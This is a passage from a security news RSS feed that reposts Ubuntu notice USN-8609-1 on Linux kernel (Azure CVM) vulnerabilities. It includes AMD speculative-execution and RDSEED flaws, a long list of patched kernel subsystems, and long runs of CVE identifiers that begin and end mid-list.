CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
